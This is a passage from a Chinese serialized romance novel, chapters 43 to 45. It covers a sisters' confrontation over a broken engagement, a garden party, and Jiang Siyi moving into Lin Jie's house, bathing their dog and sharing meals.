她悄悄跟着母亲林云汀过来的,母亲和大姨林雪泊刚刚进屋中。 房门被关上了,隔着木门,里面隐约的人声她还是能听清一些。 屋内,林雪泊坐在沙发上,手里依旧端着她最喜欢的苹果朗姆热红酒。 今天心情很不错,直到妹妹来找她。 有另外一张单人沙发,就在林雪泊正对面,但林云汀路过几次,都没有真正坐上去。 分明是她想要一个答案,却又害怕和大姐直接面对面。 她不说话,林雪泊也不开口,悠然得很。 斟词酌句之后,心下一横,林云汀语调和缓地问道: “大姐,这么不光彩的事情还要大肆宣扬吗?” 先前她就怀疑大姐是不是在谋划什么,宋缇和谭雅的丑事被传得沸沸扬扬不像是偶然。 刚才亲眼看见林棘和姜司意以已婚的关系高调出现在众人面前,完完全全印证了自己的猜测。 大姐频繁去拍卖行,就是想让所有人知道她和姜司意关系在逐步靠近。 是支持的,是欢迎的。 可是……这么一来别人会怎么说她们家? 妹妹的妻子被姐姐抢走,还抢得如此不遮不掩,可想而知外界会怎么编排她们家的关系。 林云汀觉得委屈,觉得大姐糊涂,觉得自己欠一个说法。 疑问抛了出去,林雪泊半晌没看她,慢悠悠地品味着手中的酒后才说: “只有真正做错事的人,才会觉得不光彩。” 林云汀后背一僵。 下一秒,她看见大姐冰冷的眼眸转向她,一字字并不严厉,却让她头皮发麻。 “云汀,你还记得当年是怎么答应我的吗?你答应我会好好照顾司意,不让她受半点委屈。结果你是怎么照顾的?放任Stella欺负她,还把她叫到家里对她疾言厉色。你就是这样履行对我的承诺?” 林云汀脸色忽变。 没想到大姐居然知道…… 其实林雪泊之前并不知晓内情。 有自己的事业和要事要忙,还到处找医疗机构继续帮助女儿康复。 对于姜司意和妹妹一家的关系,只看到了表面。 也是最近林棘说和姜司意结婚了,才遣人去详细打听的。 一打听,完全超出她的想象。 当初林棘走丢,连是有人刻意绑架还是遇到人贩子都无法确定。 林雪泊万分痛苦,妹妹过来暗示宋缇和姜司意在幼儿园同班,成天一起上学放学感情很好。 言下之意是宋缇喜欢她,想把婚约转过去。 林雪泊很不舍姜司意,可是理智来说,女儿生死成谜,这婚约恐怕是无法再进行下去了。 妹妹不止说了一次,几乎每次见面都会明面上背地里说起。 每次提到林雪泊就会想起不知道在何处受苦的女儿。 极端煎熬之下,答应了妹妹的请求。 “司意是个好孩子,可惜,我们家和她没有缘分了……” 林雪泊擦去眼泪,稳了稳情绪,叹了一声继续道: “我没其他的要求,只希望你能好好对她。” 见姐姐松口,林云汀心里欢喜,面上淡笑道: “那是肯定的,Stella那么喜欢她,我们肯定会把她当成小公主一样宠着,宠一辈子。” 宋缇对未婚妻挺好,车接车送的传言林雪泊都听说过。 没想到只是在做表面功夫。 调查之后才知道她不仅出轨,还在暗中冷落姜司意,想逼姜司意自己退婚。 而林云汀和宋缇一样,一开始对姜司意还算不错,却在姜家开始走下坡之后对她越来越傲慢,越来越轻待。 觉得她在拍卖行工作丢人,甚至用上位者的姿态敲打过。 林雪泊凝视着妹妹的眼睛道:“当年如果小佑没有走丢,她们会一直维持着婚约,直到大学毕业名正言顺地订婚,现在也同样会结婚。小佑肯定不会欺负她,让她苦等三年。我也绝对不会像你一样,因为她无依无靠就刻薄慢待她。” 站在门口的宋缇听到这句话,心中一凛。 走丢? 所以当年表姐并不是出国读书,而是走丢了。 林雪泊:“我也没想到,你浪费了和司意的缘分,辜负了我的信任,居然还有脸过来质问我。” 林云汀被她堵得半个字都说不出来,只能红着眼弱声唤了一句: “大姐……” 林雪泊半合着眼睑,“你回去吧,我暂时不想见到你。”。 林棘是从来不参加花园派对的。 今晚几乎所有在J城有名有姓的人,都加了姜司意的好友。 优质资源全部进入姜司意的手机里,她俩的关系广为人知,宴会也是时候到尾声了。 两人一同走过花园入口处,遇到一批幻维的员工。 员工们算是知道哪位活菩萨降临,赐给她们三天半的小长假了。 看到姜司意,热情地叫她“老板娘”。 “老板娘好美!” “老板娘能不能合个影?我刷了好几遍你的拍卖视频!” 姜司意被她们一口一个老板娘弄得有点腼腆,不确定地回头去看林棘。 “你,不来吗?” 员工们都跟着她的目光一起偷偷看BOSS。 BOSS不喜欢拍照的事可是声名远播。公司成立五年来除非必要场合,她很少照相,更不用说和员工一起合影了。 可眼看着姜司意被一群年轻漂亮的女孩包围,原本属于她的位置站了别人。 林棘默默走到姜司意最近的位置,站定。 林棘那张冷脸出现在画面里,负责拍合影的女孩手都抖了一下,感觉下一秒老板就要让她汇报工作。 姜司意从不远处玻璃的倒影里,看到林棘毫无笑意的脸,算是知道为什么拍照的女孩半天没说“一二三”。 已经进入拍照的构图中,这时候不适合侧脸耳语。 所以用小拇指勾了勾林棘。 轻声道:“有点凶哦。” 拍照时没有微笑自觉的林棘,被姜司意的小动作和可爱的话甜了一下,嘴角忍不住往上扬。 拍照的女孩看到林棘的笑容,心里喊了声“妈呀美成这样”,立刻捕捉下这一幕。 拍照结束,员工们就要离开,林棘问拍照的女孩: “你有我微信吗?” 女孩和老板对视,说话都嗑吧了一下。 “啊,没有。” 她是市场部刚刚转正的新晋员工,职级低,别说董事长的微信,就是CEO的微信也还没机会加。 林棘亮出自己的二维码。 “加个好友,把照片发给我。” 女孩就这样晕忽忽地加了董事长的微信,把所有照片一口气发过去。 璀璨的星空下,晚风吹起裙摆,带来一点儿酒精的气息和花园里零星的笑语。 姜司意双手背在身后,分一眼到林棘的手机上。 林棘在看她们之前的合影。 “我笑得好傻。” 林棘嘴上这么说,姜司意看她还是将照片点了收藏,再锁屏。 等樊青将车开来的时候,姜司意要脱下红钻戒指还给林棘。 林雪泊给她那一堆的高级珠宝,已经让她不安到租了银行的保险箱。 要是再加一枚大几千万的红钻戒指,恐怕真要睡不着觉。 林棘压下她脱戒指的动作。 “万一被人看到你戴了又摘,恐怕明天一早,说我们是假结婚的消息就会传得沸沸扬扬。” 姜司意有些沮丧地想,说起来,也的确是假的没错。 林棘:“你喜欢就戴着玩,不喜欢就随便一收。它存在的意义只是讨你欢心。” 这些让人心动的话和体贴,有时候真会让姜司意有种眼前人是自己的妻子,真的在被妻子无条件地宠爱着。 姜司意耳尖有一些热意,不再推托,收下了。 “那我先替你好好保管。” 毕竟以后可能还有很多场合需要用上。 樊青终于开车来了,迟了些,这不像她严谨的风格。 车停下,车中坐的不止樊青,还有个姜司意没见过的女人。 那女人一头酒红色法式大波浪,红唇冷脸,大晚上的还戴着一副墨镜,气质成熟凌厉。 虽然有墨镜阻隔,旁人依旧能感受到她不好惹的神色。 “棘董。”那女人双唇微张,“听说我的小宠物躲在你这儿。” 小宠物? 姜司意用微妙的眼神看向林棘。 “……卫总,许久不见,还是这么口无遮拦。” 林棘转而对姜司意解释说: “这位就是周霓之前的老板。” 姜司意记得,樊青说过周霓和她之前的老板之间出了点小意外,没法继续雇佣关系,又很需要钱,才来林棘这儿工作。 卫总气压很低,能感觉得出迫切和焦躁,却耐着性子尽量好言好语。 “打扰棘董了,我找她很久了,只想知道在不在你这儿。” 林棘看向樊青,似乎在等她开口给出答案。 樊青被好几双眼睛盯着,一阵沉默。 我只是周霓同乡,真做不了她的主。 就在一群人面面相觑时,周霓自己从黑暗的花园里走了出来。 风从远处荡来,分开周霓厚重的刘海,露出额头上一道和樊青脸上惊人相似的伤痕。那伤痕竖直劈在她的额头上,像一只闭合的眼。 这还是姜司意第一次看清周霓的长相,比想象的还要年轻,神色淡淡,看向那姓卫的女人的眼神却有种说不清的复杂。 谁也不说话,很紧绷的气氛,感觉下一刻她俩就要爆发争吵。 意料之外,那姓卫的女人下车,主动走向她,握住她的手。 微不可闻地叹气后,用略为示弱的语气说:“跟我回去吧。” 低气压消失不见。 周霓垂着眸没有说话,和之前凶悍的气质截然相反,顺从跟着她走了。 走了几步,周霓回头对林棘道:“棘董,谢谢你这阵子收留我。这个月还没过完,所以工资……” 林棘:“你帮了我大忙,这个月工资我会全额支付。” 周霓沉默一秒,而后道:“谢谢。” 那个业界知名的难搞且高傲的卫总,竟也跟着周霓一同向林棘道谢。 “谢了,林棘,欠你个人情。” 两人就这样携手离开。 姜司意看着周霓的背影,忽然想起那日周霓帮她挡下宋缇。 当时她表露自己喜欢林棘的事,周霓应该也听到了…… 应该,没跟林棘说起这件事吧。 看林棘的态度……不像是知道了什么,跟平时没什么区别。 坐上车,依旧送姜司意回家。 樊青本来想说,她可以再去找找同乡,看看有没有适合的人选,可以继续在暗中保护姜小姐。 却听后座的林棘对姜司意说:“周霓看上去和她老板和好,应该不会回来了,樊青也要去国外玩一段时间,这阵子恐怕没有合适的人选在暗中保护你。” 到嘴边的话立刻被樊青收回来。 幸好她慢了半拍,不然可想而知会收获BOSS一个犀利的眼神。 而且BOSS,这一周的假你不是还没批么…… 说一周的时间有点长,就这么一个特助。 结果忽然就同意了。 什么时候决定的,我本人居然不知道。 林棘继续道:“没人在你身侧,我不放心。如果你愿意搬来和我一起住的话,我也能胜任这个角色。” 还在宴会厅的时候林棘就提出了同居的建议。 当时姜司意还没来得及回答,就被人打断了。 现在林棘又一次提起,看来是没有忘。 “……呃?” 姜司意发出思考的声音。 林棘的建议合情合理,是为了她们的联姻能够足够真实,毕竟结婚还分居的情况太少见。 也是为了姜司意安全考虑。 似乎没有拒绝的余地。 只是,姜司意无法想象,和林棘住在一起朝夕相对的话,会沉沦至什么地步。 姜司意没有立刻回答,林棘一如既往没催她,却似愉悦地舒展了眉眼。 正好到家,林棘说:“好,明天见。” 姜司意脸上挂笑说“晚安”。 心里却有点疑惑。 “明天见”能理解,就是继续相处,多多了解。 可是这个“好”是什么意思? 第二天一早,林棘就为她答疑解惑了。 今天是休息日,姜司意睡到快十点才醒。 醒来时发现林棘给她发了微信。 ,:【起床了吗?】 发送时间是半小时前。 散装吐司:【我刚醒,怎么?】 ,【半小时能洗漱完吗?】 姜司意一咕噜坐起来。 什么意思? 散装吐司:【可以的,有什么事吗?】 ,:【来接你。】 来接我? 看到这三个字,姜司意更是满头的问号,立刻下床。 卡皮巴拉的拖鞋都只穿了一只,深一脚浅一脚慌张地走到窗边,往下看,真的看到了林棘的宾利。 旁边还停着一辆搬家用的厢式货车。 真来搬家了? 可是…… 姜司意给林棘开门的时候,疑惑地看着站在门口的女人。 “怎、怎么会来搬家?” “你不是答应了吗?” “我什么时候答应了?” “你昨天说了‘嗯’。” 姜司意拨开一头的问号,极力回忆自己什么时候说了“嗯”。 最后没找到“嗯”,只在记忆的角落里找到一个“呃?”。 姜司意:。 不会是说这个吧? 姜司意:“那是疑惑的语气,不是答应。” 一句话之后,林棘原本兴致高昂的眉目,慢慢回落。 即便掩饰了,依旧能看出她清晰的失落感。 这份失落感明晃晃地映入姜司意的眼底,揪着她的心。 “抱歉,是我误会了,你继续休息吧。” 林棘没有纠缠这个问题,姜司意说什么她就应什么。 随后转身就要离开。 看着她将要离去的背影,姜司意手比脑子更快,一下子拉住她。 “等一下……” 林棘回头。 看不了林棘失望的模样。 眉眼一低,就想满足她所有愿望。 而且…… 别矫情了姜司意。 在心里对自己说,你明明很开心的。 姜司意暗吸一口气,在林棘和雪球的注视中说: “那我,就去打扰你了。” 【作者有话说】 林棘:宠妻第十五步,得到老婆邀请的时候,必须一秒答应3.0[三花猫头]同居了,亲亲还会远吗[星星眼] 44 第44章 ◎原来是喜欢我。◎ 林棘说樊青休假了,为期一周,去国外度假,所以今天她亲自带了专业搬家公司来搬家。 穿着统一服制的搬家师傅在拿纸箱,戴手套,准备干活。 林棘也在戴手套口罩以及帽子。 姜司意问:“我来负责哪个区域?” 林棘看向趴在桌底的雪球。 “你就负责抱好雪球。” 雪球是典型的外强中干。 单有一位访客来的时候,它还能仗着主人在身边,气势汹汹地汪几嗓子。 今天乌泱泱来了这么一大帮人,雪球直接躲到桌地上瑟瑟发抖,一双黑漆漆的小豆眼疑惑又警惕地看东看西,说不出来就不出来。 姜司意想反驳,别看她个子没有林棘高,其实有把子力气,搬点东西不在话下,怎么能只负责抱小狗。 而且这是在为她搬家。 姜司意说:“我怎么可以偷懒。” “可以偷懒。” 林棘在她跃跃欲试想要开口的脑袋上轻轻点了一下。 就是不要她费心费力。 姜司意被她这么一点,气势顿时弱了好几分。 却不是如之前因为害怕而势弱。 被林棘接触的额头,那一小块的区域,触感好明显。 心里有种软软,痒痒的感觉。 林棘:“这么多人走来走去,还得开着门,雪球万一受到惊吓跑出门就不好办了。” 姜司意垂着眸,“……唔。” 林棘:“你负责抱着它,这是最重要的事儿。师傅要是有事问你,抽空解答一下就好。” 说完,林棘没再给姜司意开口推拒的机会,忙碌去了。 阳光明媚的休息日,姜司意就打包了贴身隐私物品,之后就抱着雪球,一边吹着空调,一边喝林棘为她带来的冰镇草莓果汁,看着专业的搬家团队搬家。 原本这个房子的房租还有两个月到期,姜司意跟房东沟通,看能不能提前办退租。 如果不方便,已经按季度交的后两个月房租也不用退了,毕竟合同里写的签约日期还没到。 而且房东人好,经常帮她的忙,还让她养狗,一切按照合同走她能接受。 她跟房东说,她人先走了,电子锁随时能改密码和指纹。 房东也是J城本地人,一个总是爱笑的微胖老太太。 当初签约租房的时候要复印房产证,老太太拿出一大摞的房产证,戴上老花镜后说: “你等会我找找,看是哪一个。” 老太太不缺钱,人很和蔼,还挺喜欢姜司意这孩子的,觉得孩子长得漂亮又懂礼貌,自己一个人生活不容易。 听完姜司意要搬走的事儿,老太太在电话里中气十足道: 【没事,你就搬吧,两个月的房租我退给你。正好我有一个亲戚的孩子要来J城工作,之前还想说得打扫一*套老房出来,现在你这边能腾位置也挺好。小姜啊,怎么突然搬走了?之前也没听你提过,是工作变动吗?】 姜司意看了眼身边正在把餐具打包好,缓缓放进箱子里的林棘,实话实说: 【结婚了,搬去和妻子一起住。】 老太太“哦哟”一声:【那是大喜事啊,恭喜恭喜。谁能娶到你,那是对方的福气啊——】 老太太声音大到都漏音了,林棘听到“妻子”这个称呼,回头看她。 姜司意装作完全没有发现她的目光,【谢谢……】 搬家团队每个人都戴着手套,把出租屋里所有的物品按照不同的区域仔细装好,搬上车去。 搬家过程中,放杂物的柜子搬空了,林棘见空荡荡的柜子里只剩一个打着漂亮蝴蝶结的礼品袋。 礼品袋放的位置突兀,很明显不该属于这儿,先前还有东西遮挡着,像是藏在里面的。 礼品袋上挂着一朵装饰花,装饰花上写着一个英文字母——S。 Stella的S。 林棘拿起礼品袋,问姜司意:“这个需要一起带走吗?” 姜司意正和搬家的师傅说一些杂物不用带,直接丢了就好。 另一边林棘又开口,她毫无准备地回头,看到了那个早就被她遗忘的礼物。 年前宋缇生日,没送出去的礼物。 当时把它藏到衣柜深处,还用东西挡着,想的是眼不见为净。 后果就是完全忘记了它的存在,还猝不及防被最不该看到的人给拎了出来。 姜司意和那个字母“S”面面相觑,一时无言。 “好像是垃圾。”林棘微笑道,“垃圾就该丢了。” 姜司意:“……好。” 总感觉刚才林棘的笑容,又有了下一秒就要把她打包丢河里的压迫感。 以林棘的聪慧,恐怕一秒就知道这礼物曾经是想送给谁。 姜司意没敢吭声,那头搬家师傅又问她阳台哪些要带走,她犹豫了一下,走去阳台了。 林棘本想随手将礼品袋丢进专门装垃圾的箱子里。 想了想,只把那朵装饰花扯了,团成一团随手丢掉。 礼物本身则另外用干净的袋子包好,和姜司意说的“不怎么用”的日用品放在一起。 亲手封箱…… 行李全部收拾好,林棘亲自开车,载着姜司意往别墅去,往她下一段人生去。 就这样和林棘同居了。 这句话的每个字细细读着,都还有些不真实。 坐在副驾上的姜司意,从后视镜里凝视着跟在后方的厢式货车,在心里规劝着自己—— 就算同居了,也要记住自己的立场。 一个听话省事的联姻妻子该怎么做,你懂的。 不要越界。 姜司意原本以为,以林棘的性格会住在郊区安静的地界。 就像林雪泊的别墅,有山有水还极其私密,像一片无人打扰的世外桃源。 只是也实在有点偏僻,对于上班族而言会有点麻烦。 如果真和市区有一定的距离,姜司意已经做好买一辆代步车,以后上下班都自己开车的打算。 最近因为林雪泊的捧场,佣金非常丰厚,买辆车不成问题。 没想到林棘的房子就在市区的黄金地段。 从租房小区开车过去,不到半小时就到了。 甚至比她租的房子距离拍卖行更近。 姜司意看着车窗外低调却极有设计感的社区名字“林语水岸”,有些愣怔。 “就在这儿?离嘉仕比好近。” 林棘:“从家里的后门走,步行十五分钟就到你公司。” 姜司意沉默了。 脑海里很难不生出一个想法—— 林棘不会是为了方便我上班才买这儿的房子吧。 之后一秒否认。 怎么可能。 林语水岸是前段时间非常热门的新社区,想买房,验资之外还得摇号。 之前姜司意一位客户就特别想买这儿的房子,到处托人问能不能走内部关系。 林棘肯定是看中了此处便捷又舒适的生活条件,和别人没关系。 姜司意对自己说,你今天的自恋份额也用完了…… 宾利和搬家的货车一同开进社区,开进入1号院的地上车库。 社区管家也来了,帮着搬家师傅们将所有包装好的箱子谨慎地搬出车厢。 物品一件件拿出来,放入屋内已经预留好的位置内。 别墅很大却很空,三层大平层,前后都有院子。 硬装是非常简约的设计,软装没添置多少,几乎只有最基本的起居家具。 简直能用“空荡荡的”来形容。 似乎在等待着未来某一日仔细地填满。 雪球都看傻了,从姜司意怀里下来后也没跑,在宽阔的房子里犹犹豫豫地探头探脑,没敢迈步,就站在姜司意脚边。 歪着脑袋看看四周,再疑惑地回头看看主人,似乎在问—— 这是哪啊? 林棘把雪球最喜欢的软垫和玩具从箱子里拆出来,摆在沙发边上,唤它: “雪球。” 雪球走过去,白乎乎的四条腿站在栗子图案的软垫上,又看到垫子里的小玩具,察觉到都是自己的东西,略有些放松。 踩了踩后,还是调头跑回姜司意脚边。 真是妈宝狗,姜司意只能再次把它抱起来。 姜司意对怀里忐忑的小棉花糖说: “不用怕,妈妈在这儿呢,以后这就是你家。” 姜司意哄着雪球的语气实在太温柔,还自称“妈妈”。 林棘的目光滞了几秒,才说:“院子够大,以后雪球可以在院子里玩。社区里也有专门的宠物乐园。” 姜司意拿着玩具,带雪球到院子里走走,适应一下环境。 雪球容易应激,但在感受到安全之后,也会很快放下戒备。 姜司意丢小玩具出去,它不是特别擅长寻回,但喜欢跟主人互动。姜司意陪一会儿后它就能自己玩了,叼着最喜欢的大胖鹅玩偶满院子好奇地溜达。 看它能自理,姜司意回到屋中,走了半天才寻声找到林棘,见她还在和搬家师傅一起忙碌。 这房子可真大,比记忆里妈妈还在时的姜宅还大。 除了来打招呼的社区管家,姜司意没见着林棘聘请的帮忙阿姨或者住家保姆。 难道这么大的房子,就她们两人,再加一只小狗狗住? 看姜司意来了,林棘说:“贴身衣物你自己去收拾吧。衣帽间里留了位置。衣帽间和主卧连在一起,走廊尽头左拐。” 姜司意:“嗯嗯。” 跟随着林棘的提示,走过长长的、空白的走廊,推开主卧的隐藏门。 主卧依旧是极简的设计,墙漆是杏子灰,很能让人心境沉淀的颜色。 一整扇的落地窗外就是绿意盎然的私有花园。 空间温馨又有质感,是姜司意喜欢的氛围。 就是……那张宽敞的床怎么看都像是双人床。 脑海中浮现出关于夜晚的联想,姜司意立刻将那些还没进行过的画面挤出脑袋。 先忽略双人床,往左手边拐进去,是衣帽间。 三合的衣帽间内,衣柜一大半已经空了出来,柔和的氛围灯开启,等候着姜司意的衣服一件件填入其中。 另一半,自然都是林棘的衣服。 有些是姜司意见过的,那件被姜司意收藏多年的风衣挂在醒目的位置。 有些她也没见过。 外衣之外,还有很多睡衣。 以及内衣…… 险些看清不该看的,姜司意立刻收回目光。 住在一起有一点得注意,小心谨慎些,不要无意间窥视到林棘的隐私。 可,在家里应该都会穿睡衣吧…… 那岂不是日日要面对穿睡衣的林棘? 不过,只要不比林阿姨准备的那套睡衣再火辣就行。 以林棘内敛的性格,睡衣应该是比较保守的款式。 嗯,肯定是这样。 装着衣物的箱子已经被放在角落。 她去拆箱时,路过存放首饰的中岛柜,注意力无意间被吸引过去。 整个中岛柜里只有两件首饰。 那枚红钻戒指,以及姜司意送给她的耳环。 耳环像一朵盛放的山茶花,被人精心地收藏在此。 姜司意回忆着,这段时日和林棘相处时,她好像都在戴这对耳环。 今天是因为搬家,要面对很多灰尘才没戴。 之前姜司意就有留意过,还以为林棘是出于礼貌,才每次和她见面的时候都戴她送的礼物。 结果……偌大的展示中岛里,只有这两件饰品。 将衣服挂入空位时,姜司意的思绪有些飘。 一件件衣服挂入衣柜里,和林棘的连成一整个空间。 周身都是林棘专属的冷香。 进入林棘生活之中的感觉,真真实实地扑在姜司意的心上,让她心头微紧。 这么说起来…… 姜司意后知后觉地想到,她们的衣服放在同一间衣帽间里,意味着只有一间衣帽间? 也就是,只有一间主卧? 一张床? “我没有准备双主卧。” 林棘的声音在身后响起。 姜司意在衣帽间里游移的神色被林棘看透。 还没人问,林棘就已经解答完毕。 姜司意回头,机械性地回应。 “啊……一般来说很少有双主卧吧。” 刚刚才提醒自己不要越界,回头就要睡在一张床上了。 已经了解自己睡相有多差的姜司意,在心里哀叹一声。 希望从今晚起,睡着后还能记得分寸,不要胡来。 只是,和林棘同床共枕的情况下,自己能不能睡着都是问题了。 林棘好像完全忘记姜司意曾经在睡梦中摸过她大腿的事儿,平静道: “我妈那儿女主人和男主人各一间卧室,是因为他们感情淡了,也有些隔阂。新婚爱侣分开睡的话,就很奇怪。” 姜司意只能附和道:“是啊,如果林阿姨突然来看的话,刚刚结婚的两个人没睡在一起,恐怕会怀疑的。”。 社区管家和搬家公司效率极高,中午时分已经全部归置完。 姜司意看见自己的鞋和林棘的鞋一起放进了鞋柜里,外套并排挂在玄关处。 从某宝花五十块钱买了两个的线条小狗的抱枕,一左一右十分随意地霸占着价格是它万倍的小公牛皮沙发。 冰箱是玻璃面板,没办法把姜司意旅游时买回来乱七八糟的冰箱贴吸上去。 林棘抱着装冰箱贴的小盒子,在家里找了一圈,仔细地将它们吸在厨房的珐琅板上,依旧是满当当的记忆。 姜司意的气息,就这样明目张胆地闯入林棘的生活空间。 让原本极具设计感却清冷的屋子,增添了不少幼稚的生活气息。 雪球在院子里玩得整只狗潦草了不少,超开心,颠颠地跑进来。 姜司意看它的脏脚在干净的地面上留下一串脚印,喊它已经来不及。 雪球开心地跑到林棘脚边,疯狂摇尾巴,喉咙里发出急切的哼唧声。 那样子似乎要她抱。 一时僵住的林棘:…… 姜司意就要过来,把这只不分场合撒娇的笨妈宝狗抱走。 林棘想到姜司意之前对雪球说的那句,“妈妈在这儿呢”。 眼前这脏乎乎求疼爱的小狗,越看越有些可爱了。 弯腰,试着将雪球搂入怀中,抱起。 姜司意看见林棘抱着雪球,摸摸它的圆脑门。 一摸之后,雪球的尾巴简直甩成螺旋桨,哼唧声更大了。 “是不是饿了?” 林棘问姜司意。 姜司意心无城府脱口而出。 “是喜欢你。” 林棘的目光从雪球身上转至姜司意,眸光微动。 “原来是喜欢我。” 【作者有话说】 林棘:宠妻第十六步,不能让老婆累到一丝一毫[垂耳兔头][垂耳兔头] 45 第45章 ◎这次喉咙变得更紧涩了◎ “原来是喜欢我。” 四目相视,字面下的歧义如同雪地里突然跳出来的白兔子,让人猝不及防。 弄得姜司意眼眸微圆了圆。 本来很正常的话,没觉得有什么问题。 可被林棘这么一重复,好像就有哪里不太对了…… 林棘的目光一寸寸安静地侵入眼底,姜司意被她直视到不太自然地转开了视线。 仿佛多被看一秒,就会被这聪明的女人从双眸看进内心深处,轻易拆解了那份压抑的心思。 林棘见她避开了目光,也没继续欺负她,稳稳抱着雪球,说给它洗个澡。 姜司意:“你,知道怎么给狗狗洗澡吗?” 没有直接说过原因,不过从第一次和雪球接触来看,林棘对狗是有一些畏惧的。 平时应该很少和狗狗接触,未必知道怎么给狗狗沐浴,更不见得会喜欢做这件事。 林棘:“不知道。” 果然。 姜司意:“那……” 林棘用不太熟练的手法摸摸雪球毛茸茸的脑袋。 “可以学,应该不复杂。” 姜司意浓密的眼睫缓缓眨动着,有一瞬的出神。 即便很简单的事,也未必有人愿意为了另一个人立刻去学。 在被动的环境里待了太久,被人积极照顾的感受实在很陌生。 却,很开心。 心尖上有一小簇不知名的花,因为林棘而情不自禁地绽放。 姜司意压着嘴角的笑意说。 “我和你一起去。” 林棘:“嗯。” 主卧只有一间,浴室倒是有好几个。 林棘说,距离院子最近的这间浴室就留给雪球用,方便它在院子玩脏后进屋直接洗。 浴室里有个专门给宠物洗澡的浴缸。 还是那种恒温、能冲浪,还能泡泡浴的多功能浴缸。 以前给雪球洗澡的就是用个普通的泡澡桶,姜司意在楼下超市花九块九买的。 简陋归简陋,因为主人按摩手法太舒服,每次洗澡它都会享受到吐舌头,超级喜欢洗澡。 现在泡澡桶升级了,为它服务的铲屎官也多了一位,水里还有专门按摩的水流。 本来它该喜欢的。 可一看到这个大的浴缸,这么多的水,上次差点溺于河中的记忆被唤醒,有点应激。 本来比熊犬就因为身材短小,毛发蓬松,游泳技术无法向长腿品种的狗狗看齐。 胆子小还淹过一次,更害怕了。 林棘和姜司意看它有些焦虑,没有立刻放大量的水,而是一点点地浇在身上,再给它一个盆,先让它安全地浮在上面。 没多久雪球就适应了浴缸,好奇地看向盆外的水,扒拉了几下后自己从盆里跳出来,还溅林棘一身水。 林棘的衣服被雪球弄湿了一片,半点不生气,还带着微笑揉揉它的脑袋。 泡在温水里,脑袋上顶着一坨泡泡,舒服得傻狗直哼哼。 可以进入正式洗狗程序了。 林棘先是负责给姜司意打下手,按照指示递沐浴露。 留意观察她给雪球按摩的动作,看一遍就会了。 因为雪球很乖很配合,所以洗起来很简单,后半程都是林棘来洗。 洗完烘干,又变成了一只蓬蓬松松的香香小狗。 雪球是乖,就算再配合,以前给它洗次澡姜司意还是会耗费不少体力。 这次有高度合适的宠物浴缸,不用弯腰,还有林棘帮忙,半点都没感觉到疲惫。 雪球也知道谁对它好,洗完澡后就一直缠着林棘,走哪儿跟哪儿。 林棘完全不习惯脚边有团谄媚的棉花团跟着,险些踩到。 姜司意只好把雪球抱起来,整只狗调转了方向,让它自己吃饭去。 这头雪球去狼吞虎咽了,那头林棘从门口拎进来一个外卖袋。 放到柚木餐桌上,打开,里面是三菜一汤。 “今天时间有点紧张,我就让管家送点外卖过来。这个社区的会所主厨手艺还行,随便吃点。明天开始,早晚饭都由我来负责。” 姜司意惊讶,“你会做饭?” 林棘本要习惯性地简洁反问:不像? 那语境在嘴边过了一遍,感觉凶了些,改变了点语调,再加点语气词。 “不像吗?” 句尾多一个字,瞬间温柔加倍。 姜司意:“不是,就,有点意外。” 独居的上班族最是知道做饭有多累,多耗精力。 有人主动愿意承担这项家务,就算是味觉异于常人的林棘,姜司意觉得自己没什么好挑剔的。 就算真的吃豆汁拌饭,她也绝对能光盘。 吃完饭,下午林棘有个线上会议必须出席,跟姜司意说她需要忙一会儿。 “你可以先在家里随便走走,有什么事直接微信上叫我就好。” 林棘去书房了,姜司意也想要尽快熟悉这里,起码知道家里有哪些区域,便抱着雪球四处走走逛逛。 卧室之类的地方先不再去了,姜司意初来乍到还有些拘束,完全没有女主人的自觉,先去其他空间看看,记记路。 林语水岸社区位于J城精华地段,而林棘的1号院所处的位置,是整个社区的黄金区域。 进出非常方便,三层带两院,前后院除了一片正盛放在树上的风车茉莉,以及角落的一小片温室,其他的尚处于待开发的状态。 走近小温室看看,出乎意料,里面居然种的是草莓。 想起早上喝的那杯超好喝的草莓果汁,不会就是林棘自己种的吧。 实在很难想象,总是洁净到一尘不染的林棘,居然有亲手耕种的爱好。 还会搭温室,好巧的一双手。 楼上有泳池,地下室是私人影院和健身房。 连接一楼和地下室的下沉空间被布置成了开放式图书馆,有很多专业书籍,以及文身相关的图册。 姜司意抱着雪球走到影院门口,进去之前不太确定,礼貌地敲了敲门,没人应她,她才推开门进去。 这儿除了比正常影院小一些外,其他的设施一应俱全。 酒柜里放满了酒,零食柜也被各种休闲零食和饮料填满。 姜司意看这些饮料牌子都有点眼生,拿出一罐看,0糖0卡0添加。 不愧是林棘,完完全全的清心寡欲。 把太过养生的饮料放回去,看到角落里并排立着爆米花机和冰淇淋机。 真是完完全全影院的气氛啊。 很难想象能在家里独自享用。 用冰淇淋机给自己做了一杯开心果冰淇淋,坐到沙发上,滑动着控制面板,看有什么电影。 片单上居然都是最近刚刚上映的热门电影,这里和院线同步上映。 姜司意选了一部之前一直想看没来得及看的悬疑片。 在无人的环境里看电影,可以摸狗狗,可以走来走去,可以边看边刷手机,可以做任何事,这种体验很轻松很惬意。 大概是之前的澡洗得太舒服,午饭又吃得饱,雪球趴在她腿上一会儿就困了,打了个大大的呵欠,相当放松地睡得鼾声连连。 看完电影,抱着雪球从影院出来时天已经黑了。 从下沉空间到庭院再到主宅的路灯,已全部点亮。 室外的控温系统让院子里散发着舒适的冷气,即便行走在夏季的户外,身上也干干爽爽没出半点汗。 漫步回住宅,一进屋就闻到了从厨房方向传来食物的香味。 林棘已经开完会,遵守承诺,正在厨房做晚饭。 她围着围裙,束着发尾,非常认真地在烹饪。 一丝不苟的侧颜,有种宁静而动人的美感。 林棘都没回头,依旧专注在面前的煎锅上,却道: “洗洗手,准备吃饭了。” 正在偷看的姜司意:…… 晚餐主菜是香煎熟成比目鱼配蔬菜沙拉。 加上一杯羽衣甘蓝、坚果和配少量牛奶打成的饮料,以及一盆鲜红的草莓。 又是营养、口感和健康兼顾的一顿饭。 姜司意吃了一口鱼肉,惊为天人。 林棘是真的会做饭,还很会做饭。 确定了,人家的舌头没问题。 之前喝安神茶那次,林棘肯定是硬着头皮喝下去,还违心说好喝的。 姜司意暗暗看一眼对面正在安静吃饭的女人,愧疚之余,又被她的五官吸引。 怎么会有人长得这么美,性格还这么好…… 已然忘记自己曾经多么惧怕对方的姜司意,又吃了一口鱼。 熟成比目鱼有种很独特的风味,油脂丰沛。 吃完有点腻,但一口清爽的饮料下去,再来几颗酸甜可口的草莓,油腻感荡然无存。 大快朵颐的同时,还完全没有负担。 草莓应该就是从后院摘来的。 上回林棘带她去的那家种软桃色朱丽叶的早餐店里的草莓,也是这种口感。 不是被催出来的寡淡,也不是死甜。 